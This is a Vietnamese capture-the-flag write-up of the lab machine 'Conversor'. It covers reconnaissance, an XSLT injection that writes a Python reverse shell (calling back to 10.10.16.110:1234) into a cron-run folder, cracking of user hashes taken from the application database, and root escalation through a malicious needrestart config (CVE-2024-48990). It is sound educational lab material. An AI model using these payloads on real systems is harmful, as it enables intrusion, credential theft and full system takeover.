---
# System prepended metadata

title: Conversor

---

# Conversor 

## Recon 

```nmap
# Nmap 7.95 scan initiated Tue Nov 11 21:39:32 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -T4 -oN Conversor 10.10.11.92
Nmap scan report for 10.10.11.92 (10.10.11.92)
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 11 21:40:05 2025 -- 1 IP address (1 host up) scanned in 33.02 seconds
```

## Exploit Web 

![image](https://hackmd.io/_uploads/H1uYcwOe-g.png)

Ngoài này thì mình thử recon. 

![image](https://hackmd.io/_uploads/ryRLNuugZe.png)

Thì ko có kết quả trả về. Cho nên tiến hành đăng ký 1 account để tiếp tục. 

![image](https://hackmd.io/_uploads/BykpE_dlbe.png)

Nhìn thấy thì nó cho phép mình upload 2 loại file:
- XML 
- XSLT 

![image](https://hackmd.io/_uploads/B1PGHdOg-l.png)

Nhìn thấy nó cho phép **Download Source Code**. Như vậy hoàn toàn thành whitebox. 

![image](https://hackmd.io/_uploads/BkbuH_dlWe.png)

![image](https://hackmd.io/_uploads/Hyum8dugZl.png)

Theo source code, thì nó tiến hành parse file `XSLT` thành 1 file `.html`, đồng thời ở dòng 113, 114 tiến hành write nội dung của file đó. 

Nhưng đến đây thì cũng chưa có gì tác động. Cho nên mình tiếp tục tìm kiếm. 

![image](https://hackmd.io/_uploads/SkYMwudeWg.png)

Nhìn thấy nó có `crontab` và nó thực hiện chạy 1 file python. 

Như vậy ý tưởng là nếu mình upload 1 file `XSLT` vào trong folder được chạy crontab có nội dung mở kết nối thì khi đó hoàn toàn có thể shell.

Tham khảo qua trang web này để tìm payload về `XSLT`
- https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/

Từ đây mình chuẩn bị 2 file như sau: 
<details>
    <summary>File XML</summary>
    <?xml version="1.0" encoding="UTF-8"?>
    <contacts>
    <contact id="1">
        <name>Hacker</name>
        <email>hacker@example.com</email>
        <subject>Security Inquiry</subject>
        <message>Hello, I would like to discuss security vulnerabilities.</message>
        <date>2025-11-17</date>
    </contact>
</contacts>
</details>

<details>
    <summary>File XSLT</summary>
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet 
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:exploit="http://exslt.org/common"
        extension-element-prefixes="exploit"
        version="1.0">
        <xsl:template match="/">
            <exploit:document         href="/var/www/conversor.htb/shell.py" method="text">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.110",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
            </exploit:document>
        </xsl:template>
    </xsl:stylesheet>
</details>

Ở máy tấn công thì mở sẵn netcat để hứng kết nối về.

Sau khi upload và convert thì được như sau:

![image](https://hackmd.io/_uploads/Bk4z0O_g-x.png)

Click vào link để thực hiện spawn shell. 

![image](https://hackmd.io/_uploads/HJ3RViueZg.png)

Như vậy hoàn toàn đã có kết nối. 

Quan sát trong source có folder instance chứa file db 

![image](https://hackmd.io/_uploads/B1xqEjugbl.png)

Cho nên mình thử dùng file này có thông tin gì hay không. 

![image](https://hackmd.io/_uploads/S1mLBougZg.png)

![image](https://hackmd.io/_uploads/rk1_ondxbl.png)

Từ đây mình khai thác được hash của user **fismathack** và **MrP-cpu**, mình lấy về để crack. 

![image](https://hackmd.io/_uploads/BksXA3_lbx.png)

## Initial Access

Mình crack ra được user **fismathack** từ đây mình switch sang user đó. 

![image](https://hackmd.io/_uploads/HJr5CnOeZe.png)

Từ đây mình khám phá típ trên user này. 

Nhưng hiện tại mình đã có quyền trên user này và cần phải nâng lên quyền root. 

![image](https://hackmd.io/_uploads/Hk4-Jp_lZl.png)

Thì mình thấy nó chạy tool `needrestart` hoàn toàn là root là ko cần pass. 

Cho nên mình chạy thử xem sao. 

![image](https://hackmd.io/_uploads/BkNnJa_l-x.png)

![image](https://hackmd.io/_uploads/Hkmxl6OlZg.png)

Như vậy thử kiểm tra version xem sao 

![image](https://hackmd.io/_uploads/SyPmeTOgZg.png)

## Privilege Escalation

Mình thử search trên mạng thì thấy version này dính CVE-2024-48990 

https://security-tracker.debian.org/tracker/CVE-2024-48990

Mình tạo 1 file `pwn.conf` trong folder `/tmp` để set suid

```
$nrconf{restart} = 'l';

system('chmod u+s /bin/bash');
```

![image](https://hackmd.io/_uploads/BklnULFeZe.png)

Rồi sau đó chạy lại tool 

![image](https://hackmd.io/_uploads/HkdywLFeWe.png)

![image](https://hackmd.io/_uploads/HJSGD8FeWg.png)

![image](https://hackmd.io/_uploads/rJ2rw8Kx-l.png)
